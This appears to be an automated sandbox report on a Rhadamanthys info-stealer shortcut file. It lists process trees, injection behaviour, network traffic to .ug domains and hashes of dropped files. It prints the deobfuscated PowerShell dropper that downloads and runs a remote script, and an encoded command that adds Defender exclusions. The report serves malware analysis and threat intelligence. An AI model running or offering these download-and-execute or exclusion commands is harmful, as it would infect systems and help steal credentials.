rhadamanthys | 4b269a6e40b9b7c7c8068e046c1ff815ac917699943597e8a9e512ef60cc685f

Analysis

max time kernel
148s
max time network
149s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
28/05/2024, 05:10 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7bcf325993d873a5dc95ac8ffb5f25eb_JaffaCakes118.lnk
Size

2KB
MD5

7bcf325993d873a5dc95ac8ffb5f25eb
SHA1

d40d48977261656e9ebc98397baceb0d04539578
SHA256

4b269a6e40b9b7c7c8068e046c1ff815ac917699943597e8a9e512ef60cc685f
SHA512

c5f1ec4cb54e33d6541651531db9a771aeac817bb2ea94ee52b807984af4df029a64028c1c47d47c27611dfd3757fb144e2d0f91fda98828ddd1c7ba19593010

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

1
$ag = "ieX"
2
set-alias s "ieX"
3
$nq = (new-object net.webclient).downloadstring("http://timebound.ug/pps.ps1")
4
invoke-expression $nq
5

URLs

ps1.dropper

http://timebound.ug/pps.ps1

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 2580 created 1380	2580	bvasdvdfsds.exe	21
PID 3664 created 1380	3664	dfgdvdfsds.exe	21
PID 6128 created 1380	6128	cvbfsds.exe	21
PID 3052 created 1380	3052	bvcfsds.exe	21

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2580	powershell.exe
4616	powershell.exe
6044	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 14 IoCs

pid	Process
2672	dsl.exe
2472	dsl.exe
1084	bvasdvdfsds.exe
2932	BLHisbnd.exe
2580	bvasdvdfsds.exe
3144	BLHisbnd.exe
7660	dfgdvdfsds.exe
3664	dfgdvdfsds.exe
3368	cvbfsds.exe
6128	cvbfsds.exe
6688	bvcfsds.exe
3052	bvcfsds.exe
2016	Tags.exe
6700	Tags.exe

Loads dropped DLL 10 IoCs

pid	Process
2472	dsl.exe
1084	bvasdvdfsds.exe
1084	bvasdvdfsds.exe
2932	BLHisbnd.exe
2472	dsl.exe
7660	dfgdvdfsds.exe
2472	dsl.exe
3368	cvbfsds.exe
2472	dsl.exe
6688	bvcfsds.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2472	dsl.exe
2472	dsl.exe

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 2672 set thread context of 2472	2672	dsl.exe	31
PID 1084 set thread context of 2580	1084	bvasdvdfsds.exe	36
PID 2932 set thread context of 3144	2932	BLHisbnd.exe	37
PID 7660 set thread context of 3664	7660	dfgdvdfsds.exe	41
PID 3368 set thread context of 6128	3368	cvbfsds.exe	48
PID 6688 set thread context of 3052	6688	bvcfsds.exe	51
PID 2016 set thread context of 6700	2016	Tags.exe	57
PID 6700 set thread context of 5724	6700	Tags.exe	58
PID 5724 set thread context of 2420	5724	InstallUtil.exe	59

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
2580	powershell.exe
2580	bvasdvdfsds.exe
2580	bvasdvdfsds.exe
3252	dialer.exe
3252	dialer.exe
3252	dialer.exe
3252	dialer.exe
3664	dfgdvdfsds.exe
3664	dfgdvdfsds.exe
3756	dialer.exe
3756	dialer.exe
3756	dialer.exe
3756	dialer.exe
6128	cvbfsds.exe
6128	cvbfsds.exe
6496	dialer.exe
6496	dialer.exe
6496	dialer.exe
6496	dialer.exe
6044	powershell.exe
3052	bvcfsds.exe
3052	bvcfsds.exe
2856	dialer.exe
2856	dialer.exe
2856	dialer.exe
2856	dialer.exe
6700	Tags.exe
6700	Tags.exe
4616	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2672	dsl.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	1084	bvasdvdfsds.exe
Token: SeDebugPrivilege	1084	bvasdvdfsds.exe
Token: SeDebugPrivilege	2932	BLHisbnd.exe
Token: SeDebugPrivilege	2932	BLHisbnd.exe
Token: SeDebugPrivilege	3144	BLHisbnd.exe
Token: SeDebugPrivilege	7660	dfgdvdfsds.exe
Token: SeDebugPrivilege	7660	dfgdvdfsds.exe
Token: SeDebugPrivilege	3368	cvbfsds.exe
Token: SeDebugPrivilege	3368	cvbfsds.exe
Token: SeDebugPrivilege	6044	powershell.exe
Token: SeDebugPrivilege	6688	bvcfsds.exe
Token: SeDebugPrivilege	6688	bvcfsds.exe
Token: SeDebugPrivilege	2016	Tags.exe
Token: SeDebugPrivilege	2016	Tags.exe
Token: SeDebugPrivilege	6700	Tags.exe
Token: SeDebugPrivilege	5724	InstallUtil.exe
Token: SeDebugPrivilege	5724	InstallUtil.exe
Token: SeDebugPrivilege	2420	InstallUtil.exe
Token: SeDebugPrivilege	4616	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2672	dsl.exe
2472	dsl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 2580	2884	cmd.exe	36
PID 2884 wrote to memory of 2580	2884	cmd.exe	36
PID 2884 wrote to memory of 2580	2884	cmd.exe	36
PID 2580 wrote to memory of 2672	2580	powershell.exe	30
PID 2580 wrote to memory of 2672	2580	powershell.exe	30
PID 2580 wrote to memory of 2672	2580	powershell.exe	30
PID 2580 wrote to memory of 2672	2580	powershell.exe	30
PID 2672 wrote to memory of 2472	2672	dsl.exe	31
PID 2672 wrote to memory of 2472	2672	dsl.exe	31
PID 2672 wrote to memory of 2472	2672	dsl.exe	31
PID 2672 wrote to memory of 2472	2672	dsl.exe	31
PID 2672 wrote to memory of 2472	2672	dsl.exe	31
PID 2472 wrote to memory of 1084	2472	dsl.exe	34
PID 2472 wrote to memory of 1084	2472	dsl.exe	34
PID 2472 wrote to memory of 1084	2472	dsl.exe	34
PID 2472 wrote to memory of 1084	2472	dsl.exe	34
PID 1084 wrote to memory of 2932	1084	bvasdvdfsds.exe	35
PID 1084 wrote to memory of 2932	1084	bvasdvdfsds.exe	35
PID 1084 wrote to memory of 2932	1084	bvasdvdfsds.exe	35
PID 1084 wrote to memory of 2932	1084	bvasdvdfsds.exe	35
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 1084 wrote to memory of 2580	1084	bvasdvdfsds.exe	36
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2932 wrote to memory of 3144	2932	BLHisbnd.exe	37
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2580 wrote to memory of 3252	2580	bvasdvdfsds.exe	38
PID 2472 wrote to memory of 7660	2472	dsl.exe	39
PID 2472 wrote to memory of 7660	2472	dsl.exe	39
PID 2472 wrote to memory of 7660	2472	dsl.exe	39
PID 2472 wrote to memory of 7660	2472	dsl.exe	39
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 7660 wrote to memory of 3664	7660	dfgdvdfsds.exe	41
PID 3664 wrote to memory of 3756	3664	dfgdvdfsds.exe	42
PID 3664 wrote to memory of 3756	3664	dfgdvdfsds.exe	42
PID 3664 wrote to memory of 3756	3664	dfgdvdfsds.exe	42

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1380
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\7bcf325993d873a5dc95ac8ffb5f25eb_JaffaCakes118.lnk
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $ag=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal s $ag;$nq=((New-Object Net.WebClient)).DownloadString('http://timebound.ug/pps.ps1');s $nq
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Users\Public\dsl.exe
      "C:\Users\Public\dsl.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2672
    - - C:\Users\Public\dsl.exe
        
        "C:\Users\Public\dsl.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2472
      - C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe" 0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2932
        
        C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3144
        
        C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2580
      - C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe" 0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:7660
        
        C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dfgdvdfsds.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3664
      - C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe" 0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:3368
        
        C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cvbfsds.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:6128
      - C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe" 0
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bvcfsds.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3052
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3252
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3756
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6496
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2856

C:\Windows\system32\taskeng.exe
taskeng.exe {4CED4DC8-3E2F-45DB-9D2E-3607DD9BC8D8} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:S4U:
1⤵
PID:6892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4616

C:\Windows\system32\taskeng.exe
taskeng.exe {80753290-3273-43A7-8FCB-BC45AA844FFD} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]
1⤵
PID:3032
- C:\Users\Admin\AppData\Local\Remaining\rdhgnpk\Tags.exe
  C:\Users\Admin\AppData\Local\Remaining\rdhgnpk\Tags.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:2016
- - C:\Users\Admin\AppData\Local\Remaining\rdhgnpk\Tags.exe
    "C:\Users\Admin\AppData\Local\Remaining\rdhgnpk\Tags.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6700
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      4⤵
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:5724
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2420

Network

DNS

timebound.ug

powershell.exe

Remote address:

8.8.8.8:53

Request

timebound.ug

IN A

Response

timebound.ug

IN A

91.215.85.223
GET

http://timebound.ug/pps.ps1

powershell.exe

Remote address:

91.215.85.223:80

Request

GET /pps.ps1 HTTP/1.1
Host: timebound.ug
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Tue, 28 May 2024 05:10:21 GMT
Content-Length: 1078434
Connection: keep-alive
Last-Modified: Sun, 12 Nov 2023 13:12:34 GMT
ETag: "1074a2-609f44e8ca97c"
Accept-Ranges: bytes
DNS

lastimaners.ug

dsl.exe

Remote address:

8.8.8.8:53

Request

lastimaners.ug

IN A

Response

lastimaners.ug

IN A

91.215.85.223
GET

http://lastimaners.ug/zxcvb.exe

dsl.exe

Remote address:

91.215.85.223:80

Request

GET /zxcvb.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: lastimaners.ug
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Tue, 28 May 2024 05:10:24 GMT
Content-Type: application/x-msdos-program
Content-Length: 5582848
Connection: keep-alive
Last-Modified: Wed, 27 Mar 2024 13:55:14 GMT
ETag: "553000-614a4c18f1448"
Accept-Ranges: bytes
GET

http://lastimaners.ug/asdfg.exe

dsl.exe

Remote address:

91.215.85.223:80

Request

GET /asdfg.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: lastimaners.ug
Connection: Keep-Alive
GET

http://lastimaners.ug/asdf.EXE

dsl.exe

Remote address:

91.215.85.223:80

Request

GET /asdf.EXE HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: lastimaners.ug
Connection: Keep-Alive
GET

http://lastimaners.ug/zxcv.EXE

dsl.exe

Remote address:

91.215.85.223:80

Request

GET /zxcv.EXE HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: lastimaners.ug
Connection: Keep-Alive
DNS

nickshort.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

nickshort.ug

IN A

Response
DNS

kodedea.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

kodedea.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response
DNS

ugas.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

ugas.ug

IN A

Response
DNS

fillah.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

fillah.ac.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response
DNS

junks.ac.ug

InstallUtil.exe

Remote address:

8.8.8.8:53

Request

junks.ac.ug

IN A

Response

91.215.85.223:80

http://timebound.ug/pps.ps1

http

powershell.exe

28.3kB
1.1MB
527
800

HTTP Request

GET http://timebound.ug/pps.ps1

HTTP Response

200
91.215.85.223:80

http://lastimaners.ug/zxcv.EXE

http

dsl.exe

179.1kB
10.4MB
3855
7457

HTTP Request

GET http://lastimaners.ug/zxcvb.exe

HTTP Response

200

HTTP Request

GET http://lastimaners.ug/asdfg.exe

HTTP Request

GET http://lastimaners.ug/asdf.EXE

HTTP Request

GET http://lastimaners.ug/zxcv.EXE

8.8.8.8:53

timebound.ug

dns

powershell.exe

58 B
74 B
1
1

DNS Request

timebound.ug

DNS Response

91.215.85.223
8.8.8.8:53

lastimaners.ug

dns

dsl.exe

60 B
76 B
1
1

DNS Request

lastimaners.ug

DNS Response

91.215.85.223
8.8.8.8:53

nickshort.ug

dns

InstallUtil.exe

58 B
122 B
1
1

DNS Request

nickshort.ug
8.8.8.8:53

kodedea.ug

dns

InstallUtil.exe

56 B
120 B
1
1

DNS Request

kodedea.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug
8.8.8.8:53

ugas.ug

dns

InstallUtil.exe

53 B
117 B
1
1

DNS Request

ugas.ug
8.8.8.8:53

fillah.ac.ug

dns

InstallUtil.exe

58 B
122 B
1
1

DNS Request

fillah.ac.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug
8.8.8.8:53

junks.ac.ug

dns

InstallUtil.exe

57 B
57 B
1
1

DNS Request

junks.ac.ug

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\BLHisbnd.exe

Filesize
3.4MB

MD5
e13e6f7986b9d1eff55fe30133592c40

SHA1
8299d50b76990e9dc7e0a8cc67e2f4d44cb810f5

SHA256
407e9094206a37707a368f4cd0103269c50b8c0c03edba87b4f20664d259f207

SHA512
bb41209d410ff38c01279d119f646658e363a3055a4f152b6a2c76b9cdb1fb42441b243fa8f7fb7a353a1b0e78c619e499274185f40d8592e43551da46bd97a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\bvasdvdfsds.exe

Filesize
5.3MB

MD5
de08b70c1b36bce2c90a34b9e5e61f09

SHA1
1628635f073c61ad744d406a16d46dfac871c9c2

SHA256
432747c04ab478a654328867d7ca806b52fedf1572c74712fa8b7c0edb71df67

SHA512
18a30e480ce7d122cfad5a99570042e3bef9e1f9feda1f7be32b273a7248274285c65ac997c90d3d6a950a37b4ea62e6b928bfefc924187c90e32ea571bfd1f5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4963e9294e9a68713a448d828a296568

SHA1
f3697b3ffba06708355abe868bc8d89a38db336f

SHA256
5020d5b6c86e5a1df5c8848a80ebd656dbd7b88b3f7e6caa5967524b1a839c8e

SHA512
18ffa36d860b3a9b02be139fbc836d3a629ce1527afc35e222db20967a57eca59379a297f8f0e67363f5df17e3d745d66e052f185bc786ce4e662e9690c1ba1e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9PRCS3T3Y1OM5LC36NTN.temp

Filesize
7KB

MD5
aedf264814f1b885f6f7816a5690e0a5

SHA1
4cd6ce3a0a29a0a997f26a9b59ae7c0c5cc1eb8f

SHA256
6c6a78a9857c2b9afe86aaeabd4cfbbabcd93b906613e59dd0dce7f7e1312acb

SHA512
47d48d6f55f20ecf630f20a6de994c88a3df6e5ee2d9179b3c382522bf02ef7e8bcdab368370cfc774aba6374d49291776b58a5a5b53145899e214a2008712a0

Download Submit
C:\Users\Public\dsl.exe

Filesize
760KB

MD5
8333b78c2a3eacf8cfd843a7b62ce6ba

SHA1
81a4d7d00d04da14a6059ed068238a7e2321f721

SHA256
aaeaf69dc4dd105e8e2d637a9336af389b7c3d5175421d80fabd5c91be86b665

SHA512
c3fb49362632765d2fca9855b3ea004ba3548c8d86f92d4739b28623103b93ee532a03535b43628a1a00cd96198b91f319db9b1aa7891b17d2dedaa8ff919f27

Download Submit
memory/1084-105-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-79-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-97-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-74-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-4964-0x0000000004AC0000-0x0000000004B14000-memory.dmp

Filesize
336KB

Download
memory/1084-95-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-81-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-91-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-72-0x00000000001E0000-0x000000000073A000-memory.dmp

Filesize
5.4MB

Download
memory/1084-73-0x0000000004FD0000-0x0000000005480000-memory.dmp

Filesize
4.7MB

Download
memory/1084-77-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-75-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-93-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-133-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-121-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-131-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-129-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-127-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-125-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-124-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-119-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
memory/1084-117-0x0000000004FD0000-0x000000000547B000-memory.dmp

Filesize
4.7MB

Download
